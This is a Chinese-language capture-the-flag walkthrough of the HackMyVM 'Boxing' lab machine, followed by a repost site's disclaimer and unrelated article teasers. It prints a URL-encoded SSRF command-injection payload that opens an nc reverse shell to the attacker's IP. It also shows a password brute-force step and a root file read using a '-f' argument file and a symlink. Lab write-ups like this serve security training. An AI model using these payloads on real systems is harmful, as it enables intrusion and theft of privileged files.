[HackMyVM]靶场Boxing

news2024/11/18 15:45:10

难度:Medium

kali:192.168.56.104

靶机:192.168.56.143

端口扫描

┌──(root㉿kali2)-[~/Desktop]
└─# nmap 192.168.56.143
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 19:25 CST
Nmap scan report for staging-env.boxing.hmv (192.168.56.143)
Host is up (0.00060s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:1C:3A:D1 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

22 80两个端口

目录扫一下

┌──(root㉿kali2)-[~/Desktop]
└─#  gobuster dir -u http://192.168.56.143 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.143
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.hta.php             (Status: 403) [Size: 279]
/.hta.txt             (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.hta.zip             (Status: 403) [Size: 279]
/.hta.bak             (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htaccess.zip        (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htaccess.bak        (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/.htpasswd.bak        (Status: 403) [Size: 279]
/.htpasswd.zip        (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/about.html           (Status: 200) [Size: 9704]
/blog.html            (Status: 200) [Size: 11165]
/class.html           (Status: 200) [Size: 12460]
/css                  (Status: 301) [Size: 314] [--> http://192.168.56.143/css/]
/feedback.php         (Status: 200) [Size: 1616]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.143/images/]                                                                               
/index.html           (Status: 200) [Size: 23854]
/index.html           (Status: 200) [Size: 23854]
/js                   (Status: 301) [Size: 313] [--> http://192.168.56.143/js/]
/server-status        (Status: 403) [Size: 279]
Progress: 27684 / 27690 (99.98%)
===============================================================
Finished
===============================================================

看web界面

除了右上角的搜索没什么交互

进去之后跳转到feedback.php

这个界面有点特殊,肯定有点东西

抓包在响应包里面发现一个子域,添加到hosts

192.168.56.143 staging-env.boxing.hmv boxing.hmv

进入子域

 

测试发现只能输入boxing.hmv开头的url然后跳转

进入server-status

可以看到当前好像是127.0.1.1

下面还有127.0.0.1的进程

看到群里大佬发现boxing.hmv:pass@127.0.0.1:5000/?processName='apache'+-e+command可以执行命令

反弹shell,主要要url编码

//nc -c bash ip port
http://staging-env.boxing.hmv/index.php?url=boxing.hmv:pass@localhost:5000?processName='apache'%2b-e%2bnc%2b-c%2bbash%2b192.168.56.104%2b4567
┌──(root㉿kali2)-[~/Desktop]
└─# nc -lvp 4567 
listening on [any] 4567 ...
connect to [192.168.56.104] from staging-env.boxing.hmv [192.168.56.143] 59166
id
uid=33(www-data) gid=33(www-data) groupes=33(www-data)

切换到交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

当前目录是/opt/pidstat而不是/var/www/html

www-data@boxing:/opt/pidstat$ ls -al
ls -al
total 12
drwxr-xr-x 2 root root 4096  4 févr. 03:15 .
drwxr-xr-x 4 root root 4096  4 févr. 03:15 ..
-rw-r--r-- 1 root root 1876  4 févr. 03:15 index.php

同级还有一个sos目录

www-data@boxing:/opt/sos$ ls -al
ls -al
total 20
drwxr-xr-x 3 root root 4096  4 févr. 03:15 .
drwxr-xr-x 4 root root 4096  4 févr. 03:15 ..
-rwxr-xr-x 1 root root  298  4 févr. 03:15 incrontab.sh
drwxr-xr-x 2 root root 4096  4 févr. 17:20 logs
-rwxr-xr-x 1 root root  323  4 févr. 03:15 sos.sh

这几个可能提权的时候用到先放着

home下有个cassus用户,但是没权限进去

www-data@boxing:/home$ ls -al
ls -al
total 12
drwxr-xr-x  3 root    root    4096  4 févr. 03:15 .
drwxr-xr-x 18 root    root    4096  4 févr. 16:47 ..
drwx------  4 cassius cassius 4096  4 févr. 17:16 cassius

/var下面除了www还有一个dev

www-data@boxing:~/dev$ ls -al
ls -al
total 40
drwxr-xr-x 3 root root  4096  4 févr. 03:15 .
drwxr-xr-x 4 root root  4096  4 févr. 03:15 ..
-rw-r--r-- 1 root root 24576  4 févr. 03:15 boxing_database.db
drwxr-xr-x 2 root root  4096  4 févr. 03:15 cache
-rw-r--r-- 1 root root  1579  4 févr. 03:15 index.php

发现是个SQLite数据库

www-data@boxing:~/dev$ file boxing*
file boxing*
boxing_database.db: SQLite 3.x database, last written using SQLite version 3040001, file counter 5, database pages 6, cookie 0x4, schema 4, UTF-8, version-valid-for 5

进入看看,这个数据库第一次用,.tables可以查看表

www-data@boxing:~/dev$ sqlite3 box*
sqlite3 box*
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> show databases;
show databases;
Parse error: near "show": syntax error
  show databases;
  ^--- error here
sqlite> .tables
.tables
fighters  matches   news      users   
sqlite> select * from users;
select * from users;
1|cassius|$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu

拿到cassius,hash碰撞一下,不过失败了。

用cassius生成一个字典然后爆破发现密码是Cassius!123

ssh连接拿到user 权限

cassius@boxing:~$ ls -al
total 32
drwx------ 4 cassius cassius 4096  4 févr. 17:16 .
drwxr-xr-x 3 root    root    4096  4 févr. 03:15 ..
lrwxrwxrwx 1 root    root       9  4 févr. 17:11 .bash_history -> /dev/null
-rw-r--r-- 1 cassius cassius  220  4 févr. 03:15 .bash_logout
-rw-r--r-- 1 cassius cassius 3526  4 févr. 03:15 .bashrc
drwxr-xr-x 3 cassius cassius 4096  4 févr. 17:14 .local
-rw-r--r-- 1 cassius cassius  807  4 févr. 03:15 .profile
drwx------ 2 cassius cassius 4096  4 févr. 17:16 .ssh
-rwx------ 1 cassius cassius   33  4 févr. 03:15 user.txt
cassius@boxing:~$ cat user.txt 
a2b3946358a96bb7a92f61a759a1d972

去看那两个脚本文件

//incrontab.sh

cassius@boxing:/opt/sos$ cat incrontab.sh 
#!/bin/bash

echo '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab -
echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab -
echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -
//sos.sh

cassius@boxing:/opt/sos$ cat sos.sh 
#!/bin/bash

logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logs

cd /home/cassius
file *
ss -altupn
last -a
w
ps aux
top -n 1
lsof

for user in $(cut -f1 -d: /etc/passwd); do
echo "Cron jobs for $user:"
crontab -u $user -l
done

tail /var/log/syslog
sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/*

chmod 700 $logs

incrontab.sh也是定时任务,但是触发需要遵守规则

echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -

当user.txt文件属性修改的时候就会触发 sos.sh这脚本

在sos.sh里面,有file *,这个在之前某一个靶机遇到过

我们可以 添加一个参数-f 变成file -f filename就能输出文本内容

cassius@boxing:~$ ls                                                                   
user.txt                                                                               
cassius@boxing:~$ ls -al
total 32                                                                               
drwx------ 4 cassius cassius 4096  4 févr. 17:16 .                                     
drwxr-xr-x 3 root    root    4096  4 févr. 03:15 ..                                    
lrwxrwxrwx 1 root    root       9  4 févr. 17:11 .bash_history -> /dev/null            
-rw-r--r-- 1 cassius cassius  220  4 févr. 03:15 .bash_logout                          
-rw-r--r-- 1 cassius cassius 3526  4 févr. 03:15 .bashrc                               
drwxr-xr-x 3 cassius cassius 4096  4 févr. 17:14 .local                                
-rw-r--r-- 1 cassius cassius  807  4 févr. 03:15 .profile
drwx------ 2 cassius cassius 4096  4 févr. 17:16 .ssh
-rwx------ 1 cassius cassius   33  4 févr. 03:15 user.txt
cassius@boxing:~$ touch -- '-f'
cassius@boxing:~$ ls 
-f  user.txt
cassius@boxing:~$ ln -sv /root/root.txt root
'root' -> '/root/root.txt'
cassius@boxing:~$ ls
-f  root  user.txt

然后再开个窗口监听

cassius@boxing:/tmp$ while :;do cp /opt/sos/logs/output-logs.txt /tmp/1.txt 2>/dev/null;done

然后修改 user.txt的属性

cassius@boxing:~$ chmod 600 user.txt 

另一个监听窗口下就能获得一个1.txt,里面就是/root/root.txt

cassius@boxing:/tmp$ cat 1.txt | head
19ed17ba1da85521ce659aeeb5ecd751: cannot open `19ed17ba1da85521ce659aeeb5ecd751' (No such file or directory)
user.txt: ASCII text

说实话,原理其实没搞太明白,后面继续再看吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1567488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智慧展览馆:基于AI智能识别技术的视频智慧监管解决方案

一、建设背景 随着科技的不断进步和社会安全需求的日益增长,展览馆作为展示文化、艺术和科技成果的重要场所,其安全监控系统的智能化升级已成为当务之急。为此,旭帆科技(TSINGSEE青犀)基于视频智能分析技术推出了展览馆…

路径规划——曲线拟合详解(一):多项式轨迹与QP优化(minimum-snap算法核心部分)

前言 历经一个多星期时间,我们在路径规划——搜索算法部分讲解了7种常见的路径搜索算法,每一种算法的链接放在下面了,有需要的朋友点击跳转即可: 路径规划——搜索算法详解(一):Dijkstra算法详…

redis之穿透、击穿、雪崩

目录 缓存雪崩 问题描述 缓存雪崩 问题描述 key 对应的数据存在,但在 redis 中过期,此时若有大量并发请求过来,这些请求发现缓存过期一般都会从后端数据库加载数据并回设到缓存,这个时候大并发的请求可能会瞬间把后端数据库压垮。…

GPTfinger赋能指纹识别技术,德施曼赢下这一局

生成式AI这场战局里,德施曼跑赢同行,成为行业里第一个引入GPT技术的智能锁厂商。 4月2日,德施曼智能锁在北京举办了新品发布会之前的“创新技术预沟通会”,向到场媒体揭晓了最新技术突破之一——GPTfinger。 「智哪儿」认为&…

关闭PyCharm中因双击Shift而跳出的搜索框

有时候老是多次按到shift而跳出一个搜索框,本来在编写代码,怎么突然就开始搜索了,非常的烦人。 其实这个搜索框叫做“随处搜索”。 关闭步骤 1、打开PyCharm的设置。 2、在设置-高级设置中勾选-禁用双击修改键快捷键即可。

4.3学习总结

[HNCTF 2022 WEEK2]Canyource(无参数) 通过这题又接触了一种无参数RCE的方法,前面学习的getallheaders只有在apache环境下才能使用,具有一定的局限性 这里是利用php函数来构造读取flag的方法 localeconv() – 函数返回一个包含本…

Ribbon有哪些负载均衡策略

负载均衡类都实现了IRule接口。 RandomRule:随机的选用一个实例 RoundRobinRule:轮询的使用实例 RetryRule:在轮询的基础上加了一个错误重试机制,在deadline时间内会不断的重试 WeightResponeTimeRule:根据权重去做…

Golang 开发实战day07 - Functions

Golang 教程07 - Functions 1. Functions 1.1 什么是函数? 在 Golang 中,函数就像是代码的超级组合体,可以将一段代码封装成一个独立的单元,以便重复使用。 1.2 函数声明 func funcName(parameter1 type1, parameter2 type2)…

必看!香港Web3活动周跑会指南

星移斗转,又是一年嘉年华。 去年4月,在《虚拟资产发展政策宣言》的影响下,四散的华人Web3生态再度汇集,由万向区块链实验室、HashKey Group、W3ME联合举办的Hong Kong Web3 Festival 2023率先奏响了以香港为鼓点的加密奏曲&#x…

Celery的任务流

Celery的任务流 在之前调用任务的时候只是使用delay()和apply_async()方法。但是有时我们并不想简单的执行单个异步任务,比如说需要将某个异步任务的结果作为另一个异步任务的参数或者需要将多个异步任务并行执行,返回一组返回值,为了实现此…

个人医疗开支预测项目

注意:本文引用自专业人工智能社区Venus AI 更多AI知识请参考原站 ([www.aideeplearning.cn]) 项目背景 随着医疗成本的持续上涨,个人医疗开支成为一个重要议题。理解影响医疗费用的多种因素对于医疗保险公司、政府机构以及个人…

计算机组成结构1

概念 计算机组成: 运算器、控制器、存储器、输出设备、输入设备 CPU:运算器控制器 运算器:算数逻辑单元ALU、累加寄存器AC、数据缓冲寄存器DR、状态条件寄存器PSW 控制器:指令寄存器IR、程序计数器PC、地址寄存器AR、指令译码器I…

制作ubuntu镜像及烧录

最近更换了nuc主机作为机器人的控制主机,为了避免之前在操作系统过程中把系统搞崩了的惨状决定养成定期备份系统的好习惯,这就需要掌握制作系统镜像及烧录的能力。 1、安装systemback软件 ubuntu中可以使用systemback工具进行系统的备份,这…

人工智能、深度伪造和数字身份:企业网络安全的新前沿

深度伪造(Deepfakes)的出现打响了网络安全军备竞赛的发令枪。对其影响的偏执已经波及到一系列领域,包括政治错误信息、假新闻和社交媒体操纵。 深度伪造将加剧公共领域对信任和沟通的本已严峻的压力。这将理所当然地引起监管机构和政策制定者…

鸿蒙南向开发实战:【智能窗帘】

样例简介 智能窗帘设备不仅接收数字管家应用下发的指令来控制窗帘开启的时间,而且还可以加入到数字管家的日程管理中。通过日程可以设定窗帘开关的时间段,使其在特定的时间段内,窗帘自动打开或者关闭;通过日程管家还可以实现窗帘…

Intel TBB安装​​​​

下载 windows 版本,如: oneapi-tbb-2021.11.0-win.zip Releases oneapi-src/oneTBB (github.com)https://github.com/oneapi-src/oneTBB/releases 下载后解压,执行 env 文件夹下的 vars.bat 即可 Intel TBB,全称Intel Threading Building…

idea建多级目录出现问题,报错找不到xml文件,如何解决?

🏆本文收录于「Bug调优」专栏,主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&…

Python3.10 - 列表的常用方法

01 列表的切片 lst [a, b, 1, 2, [c1, 1]]# 01 列表的切片 lst1 lst[0:2] # 从0开始切到1(顾头不顾尾), 切得长度超过1时, 切出来为list类型 print(lst1, type(lst1))lst2 lst[0] # 从中切某个元素时, 切出来的类型即元素本身, 以下同理 print(lst2, type(lst2))lst3 ls…

会声会影可以制作卡拉OK字幕吗 会声会影制作卡拉OK字幕教程 会声会影视频制作教程 会声会影模板免费下载 会声会影2023永久激活版

会声会影是一款功能强大、操作简便的视频剪辑软件,适合不同级别的用户使用,无论是初学者还是专业人员,都能够轻松地实现自己的创意和想法。这篇文章就一起来学习一下会声会影可以制作卡拉OK字幕吗,会声会影制作卡拉OK字幕教程。 …

stm32之基本定时器的使用

在上文我们使用到了HAL库的自带的延时函数,HAL_Delay();我们来看一下函数的原型 __weak void HAL_Delay(uint32_t Delay) {uint32_t tickstart HAL_GetTick();uint32_t wait Delay;/* Add a freq to guarantee minimum wait */…